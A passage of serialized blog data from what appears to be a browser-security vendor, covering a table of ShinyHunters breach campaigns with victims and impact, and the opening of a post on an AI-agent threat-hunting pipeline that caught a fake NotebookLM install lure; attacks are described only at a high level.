ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&S, Co-op, and Jaguar Land Rover claimed by the ",{"data":10719,"content":10720,"nodeType":889},{"uri":2299},[10721],{"data":10722,"marks":10723,"value":10724,"nodeType":865},{},[],"Scattered Lapsus$ Hunters \"brand\"",{"data":10726,"marks":10727,"value":10728,"nodeType":865},{},[]," also aren't listed below. ",{"data":10730,"content":10731,"nodeType":1656},{},[10732,10779,10843,10891,10939],{"data":10733,"content":10734,"nodeType":1563},{},[10735,10746,10757,10768],{"data":10736,"content":10737,"nodeType":1577},{},[10738],{"data":10739,"content":10740,"nodeType":866},{},[10741],{"data":10742,"marks":10743,"value":10745,"nodeType":865},{},[10744],{"type":935},"Campaign",{"data":10747,"content":10748,"nodeType":1577},{},[10749],{"data":10750,"content":10751,"nodeType":866},{},[10752],{"data":10753,"marks":10754,"value":10756,"nodeType":865},{},[10755],{"type":935},"Began",{"data":10758,"content":10759,"nodeType":1577},{},[10760],{"data":10761,"content":10762,"nodeType":866},{},[10763],{"data":10764,"marks":10765,"value":10767,"nodeType":865},{},[10766],{"type":935},"Named victims",{"data":10769,"content":10770,"nodeType":1577},{},[10771],{"data":10772,"content":10773,"nodeType":866},{},[10774],{"data":10775,"marks":10776,"value":10778,"nodeType":865},{},[10777],{"type":935},"Confirmed impact",{"data":10780,"content":10781,"nodeType":1563},{},[10782,10806,10816,10826],{"data":10783,"content":10784,"nodeType":1577},{},[10785],{"data":10786,"content":10787,"nodeType":866},{},[10788,10793,10797,10802],{"data":10789,"marks":10790,"value":10792,"nodeType":865},{},[10791],{"type":935},"ShinyHunters Salesforce Vishing",{"data":10794,"marks":10795,"value":10796,"nodeType":865},{},[]," (vishing + device code phishing → Salesforce connected app authorization) \n\n& ",{"data":10798,"marks":10799,"value":10801,"nodeType":865},{},[10800],{"type":935},"Salesloft/Drift Supply Chain",{"data":10803,"marks":10804,"value":10805,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Salesforce access)",{"data":10807,"content":10808,"nodeType":1577},{},[10809],{"data":10810,"content":10811,"nodeType":866},{},[10812],{"data":10813,"marks":10814,"value":10815,"nodeType":865},{},[],"May 2025",{"data":10817,"content":10818,"nodeType":1577},{},[10819],{"data":10820,"content":10821,"nodeType":866},{},[10822],{"data":10823,"marks":10824,"value":10825,"nodeType":865},{},[],"Coca-Cola Europacific Partners, Cisco, Qantas, LVMH, Adidas, Google, Chanel, Pandora, Allianz Life, Air France-KLM, Farmers Insurance, Workday, TransUnion, Stellantis, Kering, Odido, Hallmark, Salesloft (origin), Toast, Avalara, Fastly, Cato Networks, Cloudflare, Palo Alto Networks, Zscaler, Tenable, Elastic, JFrog, CyberArk, Rubrik, BeyondTrust, Proofpoint, Workiva, Mercer Advisors, Beacon Pointe, Ameriprise, Kemper, Udemy, 7-Eleven, Mytheresa, Marcus & Millichap, Carnival, Pitney Bowes, Alert 360, Amtrak, McGraw-Hill, Canada Life, Charter Communications",{"data":10827,"content":10828,"nodeType":1577},{},[10829,10836],{"data":10830,"content":10831,"nodeType":866},{},[10832],{"data":10833,"marks":10834,"value":10835,"nodeType":865},{},[],"49 named victims. Confirmed individual impact includes 23M+ records (Coca-Cola), 5.7M records (Qantas), 6.2M customers (Odido), 4.4M consumers (TransUnion), up to 18M records (Stellantis), 13.5M emails (McGraw-Hill), 8.2M emails (Pitney Bowes), 7.5M emails (Carnival), 7-Eleven: 185K confirmed by HIBP (SSNs, driver's licenses; franchisee data), Charter Communications: millions of records claimed (company disputes scope). ",{"data":10837,"content":10838,"nodeType":866},{},[10839],{"data":10840,"marks":10841,"value":10842,"nodeType":865},{},[],"ShinyHunters claims 1.5B+ Salesforce records across 1,000+ organizations total.",{"data":10844,"content":10845,"nodeType":1563},{},[10846,10861,10871,10881],{"data":10847,"content":10848,"nodeType":1577},{},[10849],{"data":10850,"content":10851,"nodeType":866},{},[10852,10857],{"data":10853,"marks":10854,"value":10856,"nodeType":865},{},[10855],{"type":935},"Vishing + AiTM SSO",{"data":10858,"marks":10859,"value":10860,"nodeType":865},{},[]," (vishing → AiTM phishing page → SSO session capture → SaaS data exfiltration)",{"data":10862,"content":10863,"nodeType":1577},{},[10864],{"data":10865,"content":10866,"nodeType":866},{},[10867],{"data":10868,"marks":10869,"value":10870,"nodeType":865},{},[],"Aug 2025",{"data":10872,"content":10873,"nodeType":1577},{},[10874],{"data":10875,"content":10876,"nodeType":866},{},[10877],{"data":10878,"marks":10879,"value":10880,"nodeType":865},{},[],"SoundCloud, GrubHub, Panera Bread, Match Group, Crunchbase, Betterment, CarMax, Edmunds, CarGurus, Hims & Hers, University of Pennsylvania, Harvard University, Optimizely, TELUS Digital, Crunchyroll, ADT",{"data":10882,"content":10883,"nodeType":1577},{},[10884],{"data":10885,"content":10886,"nodeType":866},{},[10887],{"data":10888,"marks":10889,"value":10890,"nodeType":865},{},[],"16 named victims. Confirmed individual impact includes ~30M records (SoundCloud), ~14M records (Panera), 10M+ records (Match Group), ~20M records (Betterment), 5.5M people (ADT), 1M+ records (UPenn), ~1PB stolen from TELUS Digital ($65M ransom refused).",{"data":10892,"content":10893,"nodeType":1563},{},[10894,10909,10919,10929],{"data":10895,"content":10896,"nodeType":1577},{},[10897],{"data":10898,"content":10899,"nodeType":866},{},[10900,10905],{"data":10901,"marks":10902,"value":10904,"nodeType":865},{},[10903],{"type":935},"Anodot Supply Chain",{"data":10906,"marks":10907,"value":10908,"nodeType":865},{},[]," (stolen OAuth tokens → downstream Snowflake/BigQuery access)",{"data":10910,"content":10911,"nodeType":1577},{},[10912],{"data":10913,"content":10914,"nodeType":866},{},[10915],{"data":10916,"marks":10917,"value":10918,"nodeType":865},{},[],"Apr 2026",{"data":10920,"content":10921,"nodeType":1577},{},[10922],{"data":10923,"content":10924,"nodeType":866},{},[10925],{"data":10926,"marks":10927,"value":10928,"nodeType":865},{},[],"Anodot/Glassbox (origin), Rockstar Games, Vimeo, Zara/Inditex",{"data":10930,"content":10931,"nodeType":1577},{},[10932],{"data":10933,"content":10934,"nodeType":866},{},[10935],{"data":10936,"marks":10937,"value":10938,"nodeType":865},{},[],"4 named victims (12+ total claimed). 78.6M records (Rockstar Games), 197K individuals (Zara), 119K individuals (Vimeo).",{"data":10940,"content":10941,"nodeType":1563},{},[10942,10957,10966,10976],{"data":10943,"content":10944,"nodeType":1577},{},[10945],{"data":10946,"content":10947,"nodeType":866},{},[10948,10953],{"data":10949,"marks":10950,"value":10952,"nodeType":865},{},[10951],{"type":935},"Other SLH-attributed",{"data":10954,"marks":10955,"value":10956,"nodeType":865},{},[]," (misc. vectors including infostealer chains, CI/CD supply chain, SaaS platform compromise)",{"data":10958,"content":10959,"nodeType":1577},{},[10960],{"data":10961,"content":10962,"nodeType":866},{},[10963],{"data":10964,"marks":10965,"value":10815,"nodeType":865},{},[],{"data":10967,"content":10968,"nodeType":1577},{},[10969],{"data":10970,"content":10971,"nodeType":866},{},[10972],{"data":10973,"marks":10974,"value":10975,"nodeType":865},{},[],"UK Legal Aid Agency, Mixpanel, Wynn Resorts, Woflow, Vercel, European Commission, Mercor, Medtronic, Instructure",{"data":10977,"content":10978,"nodeType":1577},{},[10979],{"data":10980,"content":10981,"nodeType":866},{},[10982],{"data":10983,"marks":10984,"value":10985,"nodeType":865},{},[],"10 named victims across varied vectors. Notable: Vercel (Lumma Stealer → Context.ai OAuth app → Google Workspace), European Commission (poisoned Trivy GitHub Action → 340GB across 71 EU entities)",{"data":10987,"content":10988,"nodeType":866},{},[10989],{"data":10990,"marks":10991,"value":21,"nodeType":865},{},[],"The three attack techniques behind ShinyHunters' 2026 campaigns ","ShinyHunters' breach of Instructure is the latest in a long series of attacks. Here's our view of the big picture. ","analyzing-the-instructure-breach",{"items":10996},[10997,10999],{"sys":10998,"name":2663},{"id":2662},{"sys":11000,"name":342},{"id":2666},{"items":11002},[11003],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":11004},{"url":2674},"7-things-we-learned-from-john-hammond","blog/7-things-we-learned-from-john-hammond",{"json":11008},{"data":11009,"content":11010,"nodeType":1663},{},[11011],{"data":11012,"content":11013,"nodeType":866},{},[11014],{"data":11015,"marks":11016,"value":11017,"nodeType":865},{},[],"Luke Jennings (Push VP of Research) and John Hammond (Senior Principal Security Researcher, Huntress) walked through the browser-based attack techniques defining the 2026 threat landscape.","Here are 7 things we learned from our conversation with John Hammond on the \"Why the browser is the new battleground\" webinar. ",{"id":11020,"publishedAt":11021},"6V12IJexyAkFFVIrbwlNPq","2026-08-12T12:00:57.289Z",{"items":11023},[11024,11026],{"sys":11025,"name":2663},{"id":2662},{"sys":11027,"name":297},{"id":11028},"3pjES4THCIfSAwhGdNwBcy",{"items":11030},[11031,11033,11035,11037,11039,11041,11043,11045,11047,11049,11051,11053,11055,11057,11059,11061,11063,11065,11067,11069,11071,11073],{"sys":11032,"name":279,"slug":280,"tier":31},{"id":276},{"sys":11034,"name":519,"slug":520,"tier":31},{"id":516},{"sys":11036,"name":413,"slug":414,"tier":31},{"id":410},{"sys":11038,"name":297,"slug":298,"tier":31},{"id":294},{"sys":11040,"name":342,"slug":343,"tier":31},{"id":339},{"sys":11042,"name":235,"slug":236,"tier":31},{"id":232},{"sys":11044,"name":261,"slug":262,"tier":45},{"id":258},{"sys":11046,"name":315,"slug":316,"tier":45},{"id":312},{"sys":11048,"name":360,"slug":361,"tier":45},{"id":357},{"sys":11050,"name":484,"slug":485,"tier":45},{"id":481},{"sys":11052,"name":475,"slug":476,"tier":45},{"id":472},{"sys":11054,"name":511,"slug":512,"tier":45},{"id":508},{"sys":11056,"name":324,"slug":325,"tier":45},{"id":321},{"sys":11058,"name":571,"slug":572,"tier":45},{"id":568},{"sys":11060,"name":466,"slug":467,"tier":45},{"id":463},{"sys":11062,"name":440,"slug":441,"tier":45},{"id":437},{"sys":11064,"name":607,"slug":608,"tier":45},{"id":604},{"sys":11066,"name":377,"slug":378,"tier":45},{"id":374},{"sys":11068,"name":431,"slug":432,"tier":45},{"id":428},{"sys":11070,"name":448,"slug":449,"tier":45},{"id":445},{"sys":11072,"name":493,"slug":494,"tier":45},{"id":490},{"sys":11074,"name":244,"slug":245,"tier":45},{"id":241},"q4U5IPhRMZseIs6ceVJ_ZzUpucxUy-2TaBbYB9CbBVE",{"id":11077,"title":11078,"authorsCollection":11079,"content":11087,"extension":228,"faqItemsCollection":12168,"faqTitle":59,"featured":19,"hashTags":59,"meta":12170,"metaTitle":12171,"ogImage":59,"postType":6287,"publishedDate":12172,"relatedBlogPostsCollection":12173,"slug":14194,"stem":14195,"subtitle":59,"summary":14196,"synopsis":14207,"sys":14208,"tagsCollection":14211,"topicsCollection":14217,"__hash__":14253},"blog/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline.json","Can AI replace a threat researcher? What we learned building an agentic threat hunting pipeline",{"items":11080},[11081],{"fullName":11082,"firstName":11083,"jobTitle":11084,"socialLinks":59,"profilePicture":11085},"Kelly Davenport","Kelly","Product Team",{"url":11086},"https://images.ctfassets.net/y1cdw1ablpvd/1hi8bEuVfn5sF57LivAq6d/9a3b82426c697d765e2e450e33a18424/kelly_profile_pic.jpeg",{"json":11088,"links":12023},{"data":11089,"content":11090,"nodeType":1663},{},[11091,11098,11119,11131,11138,11146,11153,11175,11182,11189,11196,11208,11214,11217,11225,11241,11260,11370,11376,11383,11389,11397,11404,11416,11423,11429,11436,11460,11467,11474,11480,11483,11491,11498,11506,11513,11529,11536,11543,11551,11558,11565,11573,11580,11587,11590,11598,11605,11613,11620,11627,11634,11641,11649,11656,11688,11695,11702,11708,11715,11723,11730,11808,11814,11822,11838,11845,11851,11858,11874,11877,11885,11892,11899,11905,11912,11957,11964,11971,11978,11984,11987,11995,12001,12007],{"data":11092,"content":11093,"nodeType":866},{},[11094],{"data":11095,"marks":11096,"value":11097,"nodeType":865},{},[],"In March, our threat hunting engine flagged something it hadn’t seen before.",{"data":11099,"content":11100,"nodeType":866},{},[11101,11105,11115],{"data":11102,"marks":11103,"value":11104,"nodeType":865},{},[],"Our research team had already been tracking the growing use of ",{"data":11106,"content":11110,"nodeType":11114},{"target":11107},{"sys":11108},{"id":11109,"type":918,"linkType":919},"2U6QpQ9rkY8x5ES48okHZB",[11111],{"data":11112,"marks":11113,"value":441,"nodeType":865},{},[],"entry-hyperlink",{"data":11116,"marks":11117,"value":11118,"nodeType":865},{},[]," tied to phishing campaigns. Malvertising frequently targets users via Google Search results, inserting malicious ads or redirects in place of legitimate ads, and using the familiar context of the search results page to trick users into clicking.",{"data":11120,"content":11121,"nodeType":866},{},[11122,11126],{"data":11123,"marks":11124,"value":11125,"nodeType":865},{},[],"To defend Push customers against this threat, we needed a way to spot malicious activity arising from clicking on Google ads. ",{"data":11127,"marks":11128,"value":11130,"nodeType":865},{},[11129],{"type":965},"But how to separate signal from noise?",{"data":11132,"content":11133,"nodeType":866},{},[11134],{"data":11135,"marks":11136,"value":11137,"nodeType":865},{},[],"Our hunt combined the skills of human researchers and AI agents to find 12 meaningful results from trillions of browser events visible to the Push extension across our install base.",{"data":11139,"content":11140,"nodeType":866},{},[11141],{"data":11142,"marks":11143,"value":11145,"nodeType":865},{},[11144],{"type":935},"Of those, one was novel. ",{"data":11147,"content":11148,"nodeType":866},{},[11149],{"data":11150,"marks":11151,"value":11152,"nodeType":865},{},[],"A user had searched for NotebookLM, clicked a paid Google ad, and gotten redirected to a page impersonating NotebookLM. The page itself was just a facade fronting a Cloudflare Pages-hosted phishing kit with a WebAssembly C2 connector. To the user, it looked like a completely on-brand NotebookLM page, and if they had run the fake install prompt, they would have installed malware. (Note: NotebookLM doesn’t even require a local install, but the page was convincing enough — and AI platforms are changing so quickly — that the lure was extremely believable.)",{"data":11154,"content":11155,"nodeType":866},{},[11156,11161,11171],{"data":11157,"marks":11158,"value":11160,"nodeType":865},{},[11159],{"type":935},"We had found our first in-the-wild ",{"data":11162,"content":11165,"nodeType":11114},{"target":11163},{"sys":11164},{"id":2677,"type":918,"linkType":919},[11166],{"data":11167,"marks":11168,"value":11170,"nodeType":865},{},[11169],{"type":935},"InstallFix attack",{"data":11172,"marks":11173,"value":1066,"nodeType":865},{},[11174],{"type":935},{"data":11176,"content":11177,"nodeType":866},{},[11178],{"data":11179,"marks":11180,"value":11181,"nodeType":865},{},[],"Within minutes, our analysis agents created detections, and researchers shipped a new detection to every Push customer. ",{"data":11183,"content":11184,"nodeType":866},{},[11185],{"data":11186,"marks":11187,"value":11188,"nodeType":865},{},[],"Eighteen months ago, it would have taken a human analyst days or even weeks to unpack the attack, comb through web requests, de-obfuscate web code, trace JavaScript execution, and extract signals of tactics, techniques, and procedures (TTPs) beyond short-lived single-use IOCs like domain name, then get their work coded up as a detection and deployed to customers. ",{"data":11190,"content":11191,"nodeType":866},{},[11192],{"data":11193,"marks":11194,"value":11195,"nodeType":865},{},[],"That was viable when new tools or techniques showed up once or twice a quarter. It doesn’t stand a chance when attack evolutions occur weekly or even daily. That’s the reality now with AI-generated adversary tools.",{"data":11197,"content":11198,"nodeType":866},{},[11199,11204],{"data":11200,"marks":11201,"value":11203,"nodeType":865},{},[11202],{"type":935},"So, can AI agents replace human threat researchers?",{"data":11205,"marks":11206,"value":11207,"nodeType":865},{},[]," That’s the wrong question. Can AI agents massively scale the expertise of a seasoned human threat hunter without getting bored of repetitive tasks, missing pertinent but easily overlooked details, or creating operational siloes dependent on one person’s knowledge — and do its work continuously across trillions of data points? Yes, absolutely.",{"data":11209,"content":11213,"nodeType":921},{"target":11210},{"sys":11211},{"id":11212,"type":918,"linkType":919},"3OiZ7BrViCTTMmHUAbloEt",[],{"data":11215,"content":11216,"nodeType":944},{},[],{"data":11218,"content":11219,"nodeType":953},{},[11220],{"data":11221,"marks":11222,"value":11224,"nodeType":865},{},[11223],{"type":935},"Why scaling browser threat detection requires more than more analysts",{"data":11226,"content":11227,"nodeType":866},{},[11228,11232,11237],{"data":11229,"marks":11230,"value":11231,"nodeType":865},{},[],"Already this year, we’ve ",{"data":11233,"marks":11234,"value":11236,"nodeType":865},{},[11235],{"type":935},"tripled",{"data":11238,"marks":11239,"value":11240,"nodeType":865},{},[]," the cumulative number of detections shipped to Push customers using this pipeline. That output points to the first problem we set out to solve by employing AI agents: Scaling our research team’s considerable expertise.",{"data":11242,"content":11243,"nodeType":866},{},[11244,11248,11256],{"data":11245,"marks":11246,"value":11247,"nodeType":865},{},[],"Push’s R&D team are experts at understanding and unpacking modern browser-based attacks. This is essential when you consider how quickly attacks themselves are evolving. When we created the ",{"data":11249,"content":11252,"nodeType":11114},{"target":11250},{"sys":11251},{"id":1804,"type":918,"linkType":919},[11253],{"data":11254,"marks":11255,"value":1861,"nodeType":865},{},[],{"data":11257,"marks":11258,"value":11259,"nodeType":865},{},[]," in 2023 (then called the SaaS Attacks Matrix), many of the ideas in it were theoretical. Not anymore. ",{"data":11261,"content":11262,"nodeType":2374},{},[11263,11273,11296],{"data":11264,"content":11265,"nodeType":2309},{},[11266],{"data":11267,"content":11268,"nodeType":866},{},[11269],{"data":11270,"marks":11271,"value":11272,"nodeType":865},{},[],"We’ve tracked the rise of AiTM phish kits from their status as MFA-bypassing novelties to the emergence of an entire criminal ecosystem built around increasingly sophisticated Phishing-as-a-Service tools. ",{"data":11274,"content":11275,"nodeType":2309},{},[11276],{"data":11277,"content":11278,"nodeType":866},{},[11279,11283,11292],{"data":11280,"marks":11281,"value":11282,"nodeType":865},{},[],"We imagined the simple but effective power of using device code authorization for phishing three years ago; in the last few months, we’ve detected a 37x increase in ",{"data":11284,"content":11287,"nodeType":11114},{"target":11285},{"sys":11286},{"id":6293,"type":918,"linkType":919},[11288],{"data":11289,"marks":11290,"value":11291,"nodeType":865},{},[],"device code phishing attacks",{"data":11293,"marks":11294,"value":11295,"nodeType":865},{},[]," across our install base. ",{"data":11297,"content":11298,"nodeType":2309},{},[11299],{"data":11300,"content":11301,"nodeType":866},{},[11302,11306,11315,11319,11328,11332,11342,11345,11353,11356,11366],{"data":11303,"marks":11304,"value":11305,"nodeType":865},{},[],"We were also the first to detect a novel post-authorization attack we dubbed ",{"data":11307,"content":11311,"nodeType":11114},{"target":11308},{"sys":11309},{"id":11310,"type":918,"linkType":919},"71EaaK7lfl6bQBbkAU0qjv",[11312],{"data":11313,"marks":11314,"value":2101,"nodeType":865},{},[],{"data":11316,"marks":11317,"value":11318,"nodeType":865},{},[]," that combines OAuth consent phishing and ClickFix-style user prompts; reported on the rise of the ridiculously simple yet effective ",{"data":11320,"content":11323,"nodeType":11114},{"target":11321},{"sys":11322},{"id":2677,"type":918,"linkType":919},[11324],{"data":11325,"marks":11326,"value":11327,"nodeType":865},{},[],"InstallFix technique",{"data":11329,"marks":11330,"value":11331,"nodeType":865},{},[]," described earlier; and detected an array of other ",{"data":11333,"content":11337,"nodeType":11114},{"target":11334},{"sys":11335},{"id":11336,"type":918,"linkType":919},"2YmiesBvJHGw4wiKEKzLUq",[11338],{"data":11339,"marks":11340,"value":11341,"nodeType":865},{},[],"creative",{"data":11343,"marks":11344,"value":3757,"nodeType":865},{},[],{"data":11346,"content":11349,"nodeType":11114},{"target":11347},{"sys":11348},{"id":11109,"type":918,"linkType":919},[11350],{"data":11351,"marks":11352,"value":520,"nodeType":865},{},[],{"data":11354,"marks":11355,"value":3757,"nodeType":865},{},[],{"data":11357,"content":11361,"nodeType":11114},{"target":11358},{"sys":11359},{"id":11360,"type":918,"linkType":919},"6Zosy4SU0LpjlaSWX75peb",[11362],{"data":11363,"marks":11364,"value":11365,"nodeType":865},{},[],"campaigns",{"data":11367,"marks":11368,"value":11369,"nodeType":865},{},[]," tied to malvertising scams.",{"data":11371,"content":11375,"nodeType":921},{"target":11372},{"sys":11373},{"id":11374,"type":918,"linkType":919},"53U3LHhhHFYnEpShdLmDqs",[],{"data":11377,"content":11378,"nodeType":866},{},[11379],{"data":11380,"marks":11381,"value":11382,"nodeType":865},{},[],"With an agentic approach, we could scale this expertise and reduce the time it takes to go from technique discovery to production-ready detection. This speed is critical now because adversaries are also using AI tools to do their work, exploding the number of trivial-to-rotate indicators of compromise and overwhelming existing detection workflows that lack an equivalent machine speed.",{"data":11384,"content":11388,"nodeType":921},{"target":11385},{"sys":11386},{"id":11387,"type":918,"linkType":919},"1u00uFbC4xsvP9lqahXbgD",[],{"data":11390,"content":11391,"nodeType":1229},{},[11392],{"data":11393,"marks":11394,"value":11396,"nodeType":865},{},[11395],{"type":935},"Scaling behavioral detections, not just making bigger blocklists",{"data":11398,"content":11399,"nodeType":866},{},[11400],{"data":11401,"marks":11402,"value":11403,"nodeType":865},{},[],"But output numbers alone don’t tell the story of successful detections. That’s the other problem we set out to solve at scale: Most secure browser solutions rely on detection logic based on blocking known-bad indicators like domains, IPs, and URLs.",{"data":11405,"content":11406,"nodeType":866},{},[11407,11412],{"data":11408,"marks":11409,"value":11411,"nodeType":865},{},[11410],{"type":935},"If your solution offers 1,000 detections, and they’re all based on known-bad indicators that are easily rotated, then you’ve got 1,000 detections that worked once and will likely never fire again. ",{"data":11413,"marks":11414,"value":11415,"nodeType":865},{},[],"They certainly won’t catch subtle adaptations in adversary techniques that don’t rely on infrastructure changes, which are easy for attackers to swap anyway. ",{"data":11417,"content":11418,"nodeType":866},{},[11419],{"data":11420,"marks":11421,"value":11422,"nodeType":865},{},[],"Push does it differently. Our detection engine is focused on hunting for tactics, techniques, and procedures: the behavioral fingerprints of an attack, not just the infrastructure it runs on. ",{"data":11424,"content":11428,"nodeType":921},{"target":11425},{"sys":11426},{"id":11427,"type":918,"linkType":919},"5jR3YVUiusHGnXDOyrgYpr",[],{"data":11430,"content":11431,"nodeType":866},{},[11432],{"data":11433,"marks":11434,"value":11435,"nodeType":865},{},[],"Instead of blocking based on known-bad domains, URLs, and IPs, our detections are built around user-level and page-level behaviors like what scripts load, how redirects behave, what events fire, what actions a user takes and what happens next, etc. (In fact, Push detections don’t even use any infrastructure-based IOCs, though customers can write their own custom detections if they have a specific IOC they’re keeping an eye on.)",{"data":11437,"content":11438,"nodeType":866},{},[11439,11444,11455],{"data":11440,"marks":11441,"value":11443,"nodeType":865},{},[11442],{"type":935},"All the detections we write would survive infrastructure rotation by adversaries, and many of our existing detections have caught never-before-seen evolutions in TTPs. That’s because we focus on the top of the ",{"data":11445,"content":11449,"nodeType":11114},{"target":11446},{"sys":11447},{"id":11448,"type":918,"linkType":919},"1qegIy4rMdm5XZXnIEoKpE",[11450],{"data":11451,"marks":11452,"value":11454,"nodeType":865},{},[11453],{"type":935},"Pyramid of Pain",{"data":11456,"marks":11457,"value":11459,"nodeType":865},{},[11458],{"type":935},", the indicators that are hardest for attackers to change.",{"data":11461,"content":11462,"nodeType":866},{},[11463],{"data":11464,"marks":11465,"value":11466,"nodeType":865},{},[],"This focus on detecting TTPs has always been our approach. But with the acceleration in both attack types and the ease with which adversaries rotate infrastructure, we needed to build capabilities that scaled our knowledge. ",{"data":11468,"content":11469,"nodeType":866},{},[11470],{"data":11471,"marks":11472,"value":11473,"nodeType":865},{},[],"We did this not by replacing researchers, but by continuously activating their expertise. You can hear what our CEO and Co-founder Adam had to say about this below. ",{"data":11475,"content":11479,"nodeType":921},{"target":11476},{"sys":11477},{"id":11478,"type":918,"linkType":919},"C9gr4nF3f6CW45Aol9xij",[],{"data":11481,"content":11482,"nodeType":944},{},[],{"data":11484,"content":11485,"nodeType":953},{},[11486],{"data":11487,"marks":11488,"value":11490,"nodeType":865},{},[11489],{"type":935},"Core principles for agentic threat hunting",{"data":11492,"content":11493,"nodeType":866},{},[11494],{"data":11495,"marks":11496,"value":11497,"nodeType":865},{},[],"Three principles make Push's agentic threat hunting and detection engineering pipeline work:",{"data":11499,"content":11500,"nodeType":1229},{},[11501],{"data":11502,"marks":11503,"value":11505,"nodeType":865},{},[11504],{"type":935},"Context matters more than custom models",{"data":11507,"content":11508,"nodeType":866},{},[11509],{"data":11510,"marks":11511,"value":11512,"nodeType":865},{},[],"We’re not AI researchers; we’re security researchers — we aren't trying to compete in building the most intelligent models. And in our view, AI models are quickly becoming commoditized like cloud infrastructure, anyway. Luckily, the commercial models today already excel at understanding web code. We just need to harness their power with our expertise.",{"data":11514,"content":11515,"nodeType":866},{},[11516,11520,11525],{"data":11517,"marks":11518,"value":11519,"nodeType":865},{},[],"So at Push, we use a variety of commercial AI models and tools in complementary ways. What matters most is the telemetry they analyze, and that’s where Push’s existing product infrastructure shines: We’re already deployed into over ",{"data":11521,"marks":11522,"value":11524,"nodeType":865},{},[11523],{"type":935},"3 million browsers worldwide",{"data":11526,"marks":11527,"value":11528,"nodeType":865},{},[],", and the Push browser extension includes a component that operates as a flight recorder to locally record everything that matters inside a browser session.",{"data":11530,"content":11531,"nodeType":866},{},[11532],{"data":11533,"marks":11534,"value":11535,"nodeType":865},{},[],"This universe of metadata — DOM elements, tab context, script execution, network traffic, user actions, credential entry, etc. — becomes the searchable corpus for hunts. Metadata is stored locally in users’ browsers and only queried during targeted threat hunts. ",{"data":11537,"content":11538,"nodeType":866},{},[11539],{"data":11540,"marks":11541,"value":11542,"nodeType":865},{},[],"This approach avoids dragnet collection of sensitive data. Instead, we focus on collecting metadata and distilling that into patterns and insights that provide context for agents to perform their analysis. This means that Push also does not train or fine-tune models on customer data.",{"data":11544,"content":11545,"nodeType":1229},{},[11546],{"data":11547,"marks":11548,"value":11550,"nodeType":865},{},[11549],{"type":935},"Agents are only as good as the context you give them. Good context is researcher-led",{"data":11552,"content":11553,"nodeType":866},{},[11554],{"data":11555,"marks":11556,"value":11557,"nodeType":865},{},[],"AI agents don’t know how to identify the TTPs of browser-based attacks until you give them the right context, and Push researchers have spent years unpacking these techniques and tools. Agents at Push consume our internal knowledge base of identified TTPs, and both humans and agents perform meta-analyses to check their work. The agents have access to large libraries of traces of human interactions with real phishing kits. This is a powerful dataset to build on.",{"data":11559,"content":11560,"nodeType":866},{},[11561],{"data":11562,"marks":11563,"value":11564,"nodeType":865},{},[],"When we don’t get the results we want from AI models, the question is “What context is it missing? What does our human team know that the agents don’t, and how can we give them that context — do they need data, tools, better workflows?” That closes the gap in performance and keeps quality high.",{"data":11566,"content":11567,"nodeType":1229},{},[11568],{"data":11569,"marks":11570,"value":11572,"nodeType":865},{},[11571],{"type":935},"Integrated architecture that makes agentic AI the throughput layer, not a bolt-on",{"data":11574,"content":11575,"nodeType":866},{},[11576],{"data":11577,"marks":11578,"value":11579,"nodeType":865},{},[],"The constraint we’re trying to break by using AI isn’t knowledge, it’s throughput. Our researchers deeply understand the techniques and tools. An agentic pipeline can apply that understanding continuously across millions of browsers and trillions of events, ingest new external signals, generate hunt hypotheses, triage results, and return only the findings that warrant escalation.",{"data":11581,"content":11582,"nodeType":866},{},[11583],{"data":11584,"marks":11585,"value":11586,"nodeType":865},{},[],"This approach relies on tight integration of our product and our agentic workflows. We’ll take a closer look at that in the next section.",{"data":11588,"content":11589,"nodeType":944},{},[],{"data":11591,"content":11592,"nodeType":953},{},[11593],{"data":11594,"marks":11595,"value":11597,"nodeType":865},{},[11596],{"type":935},"How the agentic detection pipeline runs",{"data":11599,"content":11600,"nodeType":866},{},[11601],{"data":11602,"marks":11603,"value":11604,"nodeType":865},{},[],"Now let’s look at how agentic threat detection actually works, and some of the emerging best practices we’ve identified. We'll cover two example hunts, one initiated autonomously by the agents themselves, and one by our research team. ",{"data":11606,"content":11607,"nodeType":1229},{},[11608],{"data":11609,"marks":11610,"value":11612,"nodeType":865},{},[11611],{"type":935},"Example 1: Autonomous threat hunt",{"data":11614,"content":11615,"nodeType":866},{},[11616],{"data":11617,"marks":11618,"value":11619,"nodeType":865},{},[],"Push’s threat hunting pipeline ingested context from research articles describing a new attack technique, and an agent developed hypotheses on what to hunt for across Push’s install base to identify instances of this attack. ",{"data":11621,"content":11622,"nodeType":866},{},[11623],{"data":11624,"marks":11625,"value":11626,"nodeType":865},{},[],"The agent crafted detection queries and then refined them to reduce false positives. The successful query ran across stored metadata and returned results, validating that there were zero false positives. ",{"data":11628,"content":11629,"nodeType":866},{},[11630],{"data":11631,"marks":11632,"value":11633,"nodeType":865},{},[],"The validated query became a scheduled job that runs on a regular cadence to monitor for potentially malicious signals. A triage agent then received any matches, did an initial analysis, and passed anything that looked suspicious to another agent to perform deeper analysis. This deep analysis agent wields the full investigative toolkit that a human researcher would — using Push’s internal knowledge base, domain age and registration analysis, URLScan and whois lookups, DOM image analysis, and contextual analysis of page-level and user-level behaviors, etc.",{"data":11635,"content":11636,"nodeType":866},{},[11637],{"data":11638,"marks":11639,"value":11640,"nodeType":865},{},[],"Within a few minutes, it can filter a thousand or more signals in a hunt trace down to a handful with meaning and provide an actionable assessment. Then, once the TTP was well-understood, other agents wrote and refined detections that can raise alerts for customers when an event of this type is seen. The Push platform immediately applies the customer’s configured security controls, such as blocking users from interacting with malicious pages.",{"data":11642,"content":11643,"nodeType":1229},{},[11644],{"data":11645,"marks":11646,"value":11648,"nodeType":865},{},[11647],{"type":935},"Example 2: Human-initiated threat hunt",{"data":11650,"content":11651,"nodeType":866},{},[11652],{"data":11653,"marks":11654,"value":11655,"nodeType":865},{},[],"Now, going back to the example from the beginning of the article: InstallFix. This hunt started with a thorny problem our research team needed to solve: How to detect bad things downstream of a user interacting with a Google ad? We needed a way to pinpoint the bad links from the good ones.",{"data":11657,"content":11658,"nodeType":866},{},[11659,11663,11668,11671,11676,11679,11684],{"data":11660,"marks":11661,"value":11662,"nodeType":865},{},[],"Our researchers collaborated with agents to formulate the right parameters for hunt queries, taking into account that good ads are normally bought by companies with marketing budgets, so therefore 